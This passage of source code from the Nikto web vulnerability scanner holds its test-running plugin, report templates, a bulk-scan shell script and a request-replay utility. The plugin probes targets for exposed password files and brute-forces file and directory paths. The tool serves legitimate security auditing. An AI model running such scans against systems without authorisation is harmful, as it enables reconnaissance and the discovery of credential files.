(!$match) { my $error_msg = "/: Hostname '$mark->{'hostname'}' does not match certificate names"; $error_msg .= " (CN: $cn_list, SAN: $san_list)"; add_vulnerability($mark, $error_msg, 999993, "https://cwe.mitre.org/data/definitions/297.html"); } } } sub unique_vals { my %seen; grep !$seen{$_}++, @_; } 1; ================================================ FILE: program/plugins/nikto_tests.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Perform the full database of nikto tests against a target ############################################################################### sub nikto_tests_init { my $id = { name => "tests", full_name => "Nikto Tests", author => "Sullo, Tautology", description => "Test host with the standard Nikto tests", copyright => "2008 Chris Sullo", hooks => { scan => { method => \&nikto_tests, weight => 99, }, }, options => { passfiles => "Flag to indicate whether to check for common password files", all => "Flag to indicate whether to check all files with all directories", report => "Report a status after the passed number of tests", } }; return $id; } sub nikto_tests { my ($mark, $parameters) = @_; return if $mark->{'terminate'}; my $data; # this is the actual the looped code for all the checks foreach my $checkid (sort keys %TESTS) { return if $mark->{'terminate'}; # replace variables in the uri my @urilist = change_variables($TESTS{$checkid}{'uri'}, $mark, $checkid); # Now repeat for each uri URI: foreach my $uri (@urilist) { return if $mark->{'terminate'}; my (%headrs, %flags, $data); if ($TESTS{$checkid}{'headers'} ne '') { my $header = unslash($TESTS{$checkid}{'headers'}); # Apply variable replacement to headers my @header_lines = split /\r\n/, $header; foreach my $h (@header_lines) { my ($key, $value) = split(/: /, $h); $key = lc($key); # Apply change_variables to the value part my @replaced_values = change_variables($value, $mark, $checkid); foreach my $replaced_value (@replaced_values) { $headrs{$key} = $replaced_value; } } $headrs{'host'} = $mark->{'hostname'} unless ($headrs{'host'}); # Kludge not to override host injection vectors $flags{'noclean'} = 1; } if ($TESTS{$checkid}{'data'} ne '') { $data = unslash($TESTS{$checkid}{'data'}); $headrs{'content-length'} = length($data) unless grep(/^(transfer-encoding|content-length)$/i, keys %headrs); } my ($res, $content, $error, $request, $response) = nfetch($mark, $uri, $TESTS{$checkid}{'method'}, $data, \%headrs, \%flags, $checkid); # DSL matcher expects response headers as a hashref my $response_string = rebuild_response($response, 0); my %response_headers; foreach my $line (split(/\r?\n/, $response_string)) { next if $line =~ /^HTTP\//; # Skip status line last if $line =~ /^\s*$/; # Stop at blank line (end of headers) if ($line =~ /^([^:]+):\s*(.*)$/) { my ($name, $value) = (lc($1), $2); if (exists $response_headers{$name}) { $response_headers{$name} .= ', ' . $value; } else { $response_headers{$name} = $value; } } } my $response_headers = \%response_headers; # Extract cookies as a hashref for matcher my %cookies = (); if (ref $response->{'whisker'}->{'cookies'} eq 'ARRAY') { foreach my $cookie (@{ $response->{'whisker'}->{'cookies'} }) { if ($cookie =~ /^([^=]+)=([^;]*)/) { $cookies{ lc($1) } = $2; } } } # Use the DSL matcher - now returns (match_status, captured_groups) my ($positive, $reason, $captures) = (0, '', []); my @matcher_result = $TESTS{$checkid}{'matcher'}->($res, $content, $response_headers, \%cookies); my ($match_status, $captured_groups) = @matcher_result; if ($match_status) { $positive = 1; $reason = 'DSL Match'; $captures = $captured_groups || []; } # matched on something, check fails/ands if ($positive) { # if it's an index.php, check for normal /index.php to see if it's a FP # if ($uri =~ /^\/index.php\?/i) { # my $clean_content = rm_active_content($content, $mark->{'root'} . $uri); # if (LW2::md5($clean_content) eq $mark->{'FoF'}{'index.php'}{'match'}) { # next; # } # } # Check user-specified error codes/strings first (highest priority, always wins) # This must be checked before any other 404 detection logic if (defined $VARIABLES{'ERRCODES'} && ref($VARIABLES{'ERRCODES'}) eq 'HASH') { my $code_str = "$res"; if (exists $VARIABLES{'ERRCODES'}->{$code_str}) { next URI; # Skip this test, it's a 404 } } if (defined $VARIABLES{'ERRSTRINGS'} && ref($VARIABLES{'ERRSTRINGS'}) eq 'HASH') { foreach my $pattern (keys %{ $VARIABLES{'ERRSTRINGS'} }) { if ($content =~ /$pattern/) { next URI; # Skip this test, it's a 404 } } } # Lastly check for a false positive based on file extension or type. # We check is_404 when the actual response code is 200, because 404 error pages # can return 200 status codes. However, we skip the check if: # 1. There's a positive BODY match (specific body content indicates real content) # 2. The DSL has an explicit non-200 CODE match (like CODE:404, CODE:403) # without including 200, as those are intentional matches for specific status codes. my $has_code_match = ($TESTS{$checkid}{'dsl'} =~ /CODE:/i); # Check if DSL has an explicit non-200 CODE match that doesn't include 200 # (e.g., CODE:404, CODE:403, but not CODE:200 or CODE:200|404) my $has_explicit_non200_code = 0; if ($has_code_match) { my $includes_code_200 = ($TESTS{$checkid}{'dsl'} =~ /\bCODE:\s*200(\D|$)/i); # If there's a CODE match but it doesn't include 200, skip is_404 check $has_explicit_non200_code = !$includes_code_200; } # Check if DSL has positive BODY patterns (BODY: but not !BODY:) my $has_body_match = ($TESTS{$checkid}{'dsl'} =~ /(?:^|[^!])BODY:/i); if ( $res == 200 && !$has_body_match && !$has_explicit_non200_code && is_404($mark, $mark->{'root'} . $uri, $response)) { next; } # Process message with captured groups (if any) my $message = $TESTS{$checkid}{'message'}; if (@$captures && $message =~ /\$\d+/) { $message = process_captured_groups($message, $captures); } # All checks passed, add vulnerability add_vulnerability($mark, "$mark->{'root'}$uri: $message", $checkid, $TESTS{$checkid}{'references'}, $TESTS{$checkid}{'method'}, $mark->{'root'} . $uri, $request, $response, $reason ); } } # Percentages if ( $OUTPUT{'progress'} && $parameters->{'report'} && ($COUNTERS{'totalrequests'} % $parameters->{'report'}) == 0) { status_report(); } } # end check loop # Perform mutation tests passchecks($mark) if $parameters->{'passfiles'}; allchecks($mark) if $parameters->{'all'}; return; } sub passchecks { my ($mark) = @_; my @DIRS = (split(/ /, $VARIABLES{"\@PASSWORDDIRS"})); my @PFILES = (split(/ /, $VARIABLES{"\@PASSWORDFILES"})); my @EXTS = qw(asp bak dat data dbc dbf exe htm html htx ini lst txt xml php php3); nprint("- Performing passfiles mutation.", "v", "tests"); # Update total requests for status reports my @CGIS = split(/ /, $VARIABLES{'@CGIDIRS'}); $COUNTERS{'total_checks'} = $COUNTERS{'total_checks'} + (scalar(@DIRS) * scalar(@PFILES)) + (scalar(@DIRS) * scalar(@PFILES) * scalar(@EXTS)) + ((scalar(@DIRS) * scalar(@PFILES) * scalar(@EXTS) * scalar(@CGIS)) * 2); foreach my $dir (@DIRS) { return if $mark->{'terminate'}; foreach my $file (@PFILES) { next if ($file eq ""); # dir/file testfile($mark, "$dir$file", "passfiles", "299998"); foreach my $ext (@EXTS) { return if $mark->{'terminate'}; # dir/file.ext testfile($mark, "$dir$file.$ext", "passfiles", "299998"); foreach my $cgi (@CGIS) { $cgi =~ s/\/$//; # dir/file.ext testfile($mark, "$cgi$dir$file.$ext", "passfiles", "299998"); # dir/file testfile($mark, "$cgi$dir$file", "passfiles", "299998"); } } } } } sub allchecks { my ($mark) = @_; # Hashes to temporarily store files/dirs in # We're using hashes to ensure that duplicates are removed my (%FILES, %DIRS); # build the arrays nprint("- Loading root level files.", "v", "tests"); foreach my $checkid (keys %TESTS) { # Expand out vars so we get full matches my @uris = change_variables($TESTS{$checkid}{'uri'}, $mark, $checkid); foreach my $uri (@uris) { my $dir = LW2::uri_get_dir($uri); my $file = $uri; if ($dir ne "") { $DIRS{$dir} = ""; $dir =~ s/([^a-zA-Z0-9])/\\$1/g; $file =~ s/$dir//; } if (($file ne "") && ($file !~ /^\?/)) { $FILES{$file} = ""; } } } # Update total requests for status reports $COUNTERS{'total_checks'} = $COUNTERS{'total_checks'} + (keys(%DIRS) * keys(%FILES)); # Now do a check for each item - just check the return status, nothing else foreach my $dir (keys %DIRS) { foreach my $file (keys %FILES) { return if $mark->{'terminate'}; testfile($mark, "$dir$file", "all checks", 299999); } } } sub testfile { my ($mark, $uri, $name, $tid) = @_; return if $mark->{'terminate'}; my ($res, $content, $error, $request, $response) = nfetch($mark, $uri, "GET", "", "", "", "Tests: $name"); nprint("- $res for $uri (error: $error)", "v", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); if ($error) { $mark->{'total_errors'}++; nprint("+ ERROR: $uri returned an error: $error", "e", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); return; } if ($res == 200) { add_vulnerability($mark, "$uri: file found during $name mutation", $tid, "", "GET", $uri, $request, $response); } } 1; ================================================ FILE: program/templates/htm_close.tmpl ================================================ ================================================ FILE: program/templates/htm_end.tmpl ================================================

Host Summary
Start Time #TEMPL_START#
End Time #TEMPL_END#
Elapsed Time #TEMPL_ELAPSED# seconds
Statistics #TEMPL_STATISTICS#

================================================ FILE: program/templates/htm_host_head.tmpl ================================================
#TEMPL_HOSTNAME# / #TEMPL_IP# port #TEMPL_PORT#
#TEMPL_SSL_SUBJECT_ROW# #TEMPL_SSL_CN_ROW# #TEMPL_SSL_SAN_ROW# #TEMPL_SSL_CIPHERS_ROW# #TEMPL_SSL_ISSUER_ROW#
Target IP #TEMPL_IP#
Target hostname #TEMPL_HOSTNAME#
Target Port #TEMPL_PORT#
HTTP Server #TEMPL_BANNER#
Site Link (Name) #TEMPL_LINK_NAME#
Site Link (IP) #TEMPL_LINK_IP#
SSL Certificate Subject#TEMPL_SSL_SUBJECT#
SSL Certificate CN#TEMPL_SSL_CN#
SSL Certificate SAN#TEMPL_SSL_SAN#
SSL Ciphers#TEMPL_SSL_CIPHERS#
SSL Certificate Issuer#TEMPL_SSL_ISSUER#

================================================ FILE: program/templates/htm_host_item.tmpl ================================================ #TEMPL_REFERENCES_ROW#
URI #TEMPL_URI#
HTTP Method #TEMPL_HTTP_METHOD#
Description #TEMPL_MSG#
Link #TEMPL_ITEM_NAME_LINK#
Reference(s) #TEMPL_REFERENCES#
================================================ FILE: program/templates/htm_start.tmpl ================================================ Nikto Report ================================================ FILE: program/templates/htm_summary.tmpl ================================================

Scan Summary
Software Details Nikto #TEMPL_NIKTO_VER#
CLI Options #TEMPL_NIKTO_CLI#
Hosts Tested #TEMPL_NIKTO_HOSTS_TESTED#
Start Time #TEMPL_SCAN_START#
End Time #TEMPL_SCAN_END#
Elapsed Time #TEMPL_SCAN_ELAPSED#

================================================ FILE: program/templates/nikto.dtd ================================================ ================================================ FILE: program/utils/nikto-bulk.sh ================================================ #!/usr/bin/env bash set -euo pipefail # Don't run as root if [[ "$(id -u)" -eq 0 ]]; then echo "ERROR: Do not run this script as root." >&2 exit 1 fi ############################ # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Run multiple copies of Nikto against a list of targets # on a *nix system with the screen utility. ############################ # Paths / config ############################ SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" : "${NIKTO_BIN:="${SCRIPT_DIR}/../nikto.pl"}" # Nikto flags (customize here) # "-S ." NIKTO_FLAGS=( "-ask" "no" "-F" "html" ) # Where Nikto writes scan results (must be "." per your requirement) NIKTO_OUT_DIR="." # Where this script writes logs (also "." per your requirement) LOG_DIR="." ############################ # Runner configuration ############################ INPUT="${1:-}" MAX_CONCURRENT="${2:-5}" ############################ # Safety checks ############################ if [[ -z "${INPUT}" || ! -f "${INPUT}" ]]; then echo "Usage: $0 [max_concurrent]" >&2 exit 1 fi command -v screen >/dev/null 2>&1 || { echo "Error: 'screen' not found." >&2; exit 1; } [[ -f "$NIKTO_BIN" ]] || { echo "Error: nikto.pl not found at: $NIKTO_BIN" >&2; exit 1; } ############################ # Helpers ############################ count_running() { local count count=$(screen -ls 2>/dev/null | grep -c 'nikbulk_' 2>/dev/null) # Strip all whitespace and ensure it's just a number count="${count//[[:space:]]/}" # Default to 0 if empty or invalid if [[ -z "$count" ]] || ! [[ "$count" =~ ^[0-9]+$ ]]; then count=0 fi printf "%d" "$count" } sanitize() { echo "$1" | tr -c 'A-Za-z0-9._-`' '_' | tr -s '_' | sed 's/^_//;s/_$//' } ############################ # Main loop ############################ # First pass: count total valid targets total_targets=0 while IFS= read -r raw || [[ -n "$raw" ]]; do line="$(echo "$raw" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')" [[ -z "$line" || "$line" =~ ^# ]] && continue total_targets=$((total_targets + 1)) done < "$INPUT" # Second pass: launch scans with progress indicator linenum=0 while IFS= read -r raw || [[ -n "$raw" ]]; do line="$(echo "$raw" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')" [[ -z "$line" || "$line" =~ ^# ]] && continue linenum=$((linenum+1)) while [[ "$(count_running)" -ge "$MAX_CONCURRENT" ]]; do sleep 2 done url="$line" safe_name="$(sanitize "$url")" screen_name="nikbulk_${safe_name}_${linenum}" log_file="${LOG_DIR}/${screen_name}.log" echo "[${linenum} of ${total_targets}] Scanning: $url" echo " screen: $screen_name" echo " log: $log_file" # Build a safely-quoted command string (no login shell) cmd="$(printf '%q ' "$NIKTO_BIN" -h "$url" -o "$NIKTO_OUT_DIR" "${NIKTO_FLAGS[@]}")" # Redirect *inside* screen so logs actually capture Nikto stdout/stderr screen -S "$screen_name" -d -m bash -c "$cmd >> $(printf '%q' "$log_file") 2>&1" done < "$INPUT" echo "******************************************" echo "All targets queued." echo "" # Monitor screen sessions with live status updates monitor_scans() { # Temporarily disable exit on error within monitor to prevent premature exits set +e local total_scans=$linenum local running=0 local last_count=-1 local consecutive_zeros=0 if [[ "$total_scans" -eq 0 ]]; then echo "No scans to monitor." set -e return 0 fi # Give sessions a moment to initialize and start launching sleep 2 # Show initial message before clearing echo "Monitoring ${total_scans} scan session(s)..." echo "Press Ctrl+C to stop monitoring (scans will continue)" sleep 0.5 # Trap to ensure we can exit cleanly trap 'echo ""; echo "Monitor stopped. Scans continue in background."; set -e; exit 0' INT TERM while true; do # Get running count with error handling running=$(count_running 2>/dev/null || echo "0") # Strip any whitespace/newlines running="${running//[[:space:]]/}" # Ensure it's a valid number if ! [[ "$running" =~ ^[0-9]+$ ]]; then running=0 fi # Always update display for live feedback - try multiple clear methods if command -v tput >/dev/null 2>&1; then tput clear 2>/dev/null || true else clear 2>/dev/null || printf '\033[2J\033[H' 2>/dev/null || true fi echo "╔════════════════════════════════════════════════════════╗" echo "║ Nikto Bulk Scan Monitor ║" echo "╚════════════════════════════════════════════════════════╝" echo "" echo " Total sessions: ${total_scans}" echo " Running: ${running}" completed=$((total_scans - running)) || completed=0 echo " Completed: ${completed}" echo "" if [[ "$running" -gt 0 ]]; then echo " Active sessions:" # Get screen sessions and process them without subshell IFS=$'\n' sessions=($(screen -ls 2>/dev/null | grep 'nikbulk_' 2>/dev/null || true)) unset IFS for line in "${sessions[@]}"; do [[ -z "$line" ]] && continue session_name=$(echo "$line" | awk '{print $1}' | sed 's/^[0-9]*\.//' 2>/dev/null || echo "unknown") status=$(echo "$line" | awk '{for(i=2;i/dev/null || echo "unknown") echo " • ${session_name} - ${status}" done else if [[ "$consecutive_zeros" -lt 2 ]]; then echo " Waiting for sessions to start..." else echo " ✓ All scans completed!" fi fi echo "" echo " (Press Ctrl+C to exit monitor)" last_count=$running # Exit if all scans are done (wait a few checks to be sure) if [[ "$running" -eq 0 ]] && [[ "$total_scans" -gt 0 ]]; then consecutive_zeros=$((consecutive_zeros + 1)) if [[ "$consecutive_zeros" -ge 3 ]]; then sleep 1 clear echo "╔════════════════════════════════════════════════════════╗" echo "║ All Scans Completed! ║" echo "╚════════════════════════════════════════════════════════╝" echo "" echo " Total sessions: ${total_scans}" echo " Completed: ${total_scans}" echo "" set -e break fi else consecutive_zeros=0 fi # Always sleep to prevent tight loop - this is critical for the loop to continue sleep 2 || sleep 1 || sleep 0.5 || true done # Clear trap on exit and re-enable error handling trap - INT TERM set -e } # Start monitoring (with error handling to prevent script exit) monitor_scans || { echo "" echo "Monitor exited. Check screen sessions manually: screen -ls | grep nikbulk_" exit 0 } ================================================ FILE: program/utils/replay.pl ================================================ #!/usr/bin/perl use strict; use warnings; ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE:Replay a saved request ############################################################################### use Getopt::Long; use JSON::PP; use FindBin; use File::Spec; # Determine the program directory (parent of utils/) # Use RealBin to get absolute path even if script was invoked via symlink my $program_dir = File::Spec->catdir($FindBin::RealBin || $FindBin::Bin, '..'); $program_dir = File::Spec->rel2abs($program_dir); # Define replay_usage() to avoid function name collision with nikto_core.plugin's usage() sub replay_usage { print "replay.pl -- Replay a saved scan result\n"; print " -file Parse request from this file\n"; print " -proxy Send request through this proxy (format: host:port)\n"; print " -help Help output\n"; exit; } # Save @ARGV before requiring nikto_core.plugin (it may process @ARGV) my @saved_argv = @ARGV; require File::Spec->catfile($program_dir, 'plugins', 'LW2.pm'); require File::Spec->catfile($program_dir, 'plugins', 'nikto_core.plugin'); # Restore @ARGV for our own GetOptions processing @ARGV = @saved_argv; # Initialize variables my $infile = ''; my $proxy = ''; my $header = ''; my $s_request; my %request; my %result; LW2::http_init_request(\%request); # options GetOptions("help" => \&replay_usage, "file=s" => \$infile, "proxy=s" => \$proxy ) or replay_usage(); # Check for file argument if not provided via -file if ($infile eq '' && @ARGV > 0 && -r $ARGV[0]) { $infile = $ARGV[0]; } if ($infile eq '') { replay_usage(); } # load save file if (!-r $infile) { print "ERROR: Argument 1 should be '-help' or a Nikto save file\n\n"; exit 1; } open(my $INFILE, "<$infile") || die "Unable to open file: $!\n\n"; while (<$INFILE>) { if ($_ =~ /^(Test ID|Message|References):/) { $header .= $_; next; } next unless $_ =~ /^REQUEST:/; chomp; $_ =~ s/^REQUEST://; $s_request = JSON::PP->new->utf8(1)->allow_nonref(1)->decode($_); if (ref($s_request) ne 'HASH') { print "ERROR: Unable to read JSON into request structure\n"; exit 1; } } close($INFILE); # set into request hash foreach my $key (keys %{$s_request}) { $request{$key} = $s_request->{$key}; } # proxy if ($proxy ne '') { my @p = split(/:/, $proxy); if (($p[0] eq '') || ($p[1] eq '') || ($p[1] =~ /[^\d]/)) { print "ERROR: Invalid proxy -- use 'host:port' format\n"; exit 1; } $request{'whisker'}->{'proxy_host'} = $p[0]; $request{'whisker'}->{'proxy_port'} = $p[1]; } # output for the user print "-" x 44, " Info\n"; print "Request to: http"; print "s" if $request{'whisker'}->{'ssl'}; print "://" . $request{'whisker'}->{'host'} . ":" . $request{'whisker'}->{'port'} . $request{'whisker'}->{'uri'} . "\n"; print $header; # make request LW2::http_fixup_request(\%request); LW2::http_do_request_timeout(\%request, \%result); # output for the user print "-" x 44, " Response\n"; # Use rebuild_response to properly format the response print rebuild_response(\%result, 1);